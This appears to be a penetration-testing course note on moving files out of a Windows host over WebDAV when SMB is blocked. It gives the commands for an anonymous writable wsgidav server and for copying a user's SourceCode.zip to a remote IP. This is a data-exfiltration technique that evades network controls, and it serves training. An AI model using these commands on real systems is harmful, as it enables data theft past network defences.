🌐 SMB Uploads with WebDAV Twist

Typically, SMB (port TCP/445) is blocked on networks for security 🚫🛡️. But when you want to upload files and can’t use traditional SMB... enter WebDAV! 🧙‍♂️

---

🔍 Why WebDAV?

WebDAV (📄 Web Distributed Authoring and Versioning) is an extension of HTTP (RFC 4918) and lets a web server behave like a file server — all over HTTP/HTTPS! It's great for uploads when SMB is blocked, and it works smoothly with Windows’ Mini-Redirector driver.

---

🛠️ Step-by-Step: Setting Up WebDAV Uploads

🧱 Step 1: Install WebDAV Python Modules

sudo pip3 install wsgidav cheroot

⚙️ Step 2: Start the WebDAV Server

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

✅ This serves /tmp as writable, anonymously-accessible WebDAV root via HTTP!

---

💻 Step 3: Accessing the Share from Windows

📁 Browse from Windows using a special keyword:

C:\htb> dir \\192.168.49.128\DavWWWRoot

🔹 DavWWWRoot is not a real folder — it's a Windows keyword that says “connect to the WebDAV root”.

🧭 Or, connect directly to a real subfolder:

C:\htb> dir \\192.168.49.128\sharefolder

---

📤 Step 4: Upload a File to the Share

C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\

🧠 You can also upload directly to a folder:

C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\sharefolder\

---

📝 Notes

• If your network doesn't block SMB (TCP/445), you can still use impacket-smbserver for uploads as we did in downloads.

• But if it is blocked, WebDAV is your friend and works on HTTP/HTTPS! 🚪